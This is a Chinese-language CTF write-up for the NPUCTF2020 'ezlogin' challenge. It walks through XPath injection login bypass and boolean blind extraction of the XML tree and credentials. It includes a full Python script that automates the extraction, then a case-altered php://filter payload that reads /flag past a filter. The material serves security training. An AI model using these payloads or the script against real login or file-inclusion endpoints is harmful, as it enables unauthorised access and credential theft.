[NPUCTF2020]ezlogin

我们写入用户名和密码进行抓包

image-20240922150632129

我们发现题目提交的数据跟往常的不一样,而且是用的xml类型,通过查询资料,这题要用xpath注入

XPATH注入讲解

在xpath中的查询语句为:

1
"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";

其中$name和$pwd是我们输入的字符,这里对字符没有经过任何的过滤。

当$name= admin‘ or 1=1 or ‘’=’

拼接后的语句为:

1
"/root/users/user[username/text()='admin' or 1=1 or ''='' and password/text()='".$pwd."']";   //成为永真式,万能密码

值得注意的是在xpath的查询语句中没有注释。

我们把文章给出的payload放上去

1
'or count(/)=1  or ''=' 

image-20240922153805147

1
'or count(/)=2  or ''=' 

image-20240922153830714

有明显的的布尔回显(注意在重新提交的时候记得刷新下页面)

说明他根下只有一个节点

接下来是盲注了,注意他那里有个token,过期时间比较快,记得用会话保持状态带上。

测试长度

payload

1
'or string-length(name(/*[1]))=4 or ''='

长度为4

猜测根节点下的名称

1
'or substring(name(/*[1]), 1, 1)='a'  or ''='

名称为root

猜测子节点的名称

1
'or substring(name(/root/*[1]), 1, 1)='a'  or ''='

名称为accounts

在这里插入图片描述

account下还有两个节点

1
2
'or substring(name(/root/accounts/*[1]), 1, 1)='a'  or ''='

两个节点都为:user,

再跑user下的节点

发现第一个节点为id

image-20240922154721721

再跑跑后面的节点看看

username ,password

接着跑用户名和密码

1
2
'or substring(/root/accounts/user/username[1]/text(), 1, 1)='a'  or ''='

用户名

guest,adm1n

还有MD5加密后的密码cf7414b5bdb2e65ee43083f4ddbc4d9f

解码得到gtfly123

放上完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import re

s = requests.session()
url ='http://4ab0514f-3518-44ad-9b5f-f8c60fb0ea92.node3.buuoj.cn/login.php'



head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
for j in strs:

r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


print(payload_username)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)


if "非法操作" in r.text:
flag+=j
print(flag)
break

if "用户名或密码错误!" in r.text:
break

print(flag)


我们用adm1n ,gtfly123进行登录

进入了一个新页面

我们打开源码,发现有个base64加密

image-20240922161339130

解码后得到

image-20240922161438060

我们知道了flag在/flag下

我们观察url发现传的参数是file,这让我们想到伪协议

1
?file=php://filter/convert-base64.encode/resource=/flag

image-20240922162202376

提示nonono,说明有过滤

接着就是大小绕过

1
?file=Php://filter/convert.bAse64-encode/resource=/flag

得到flag的base64加密,解码得到flag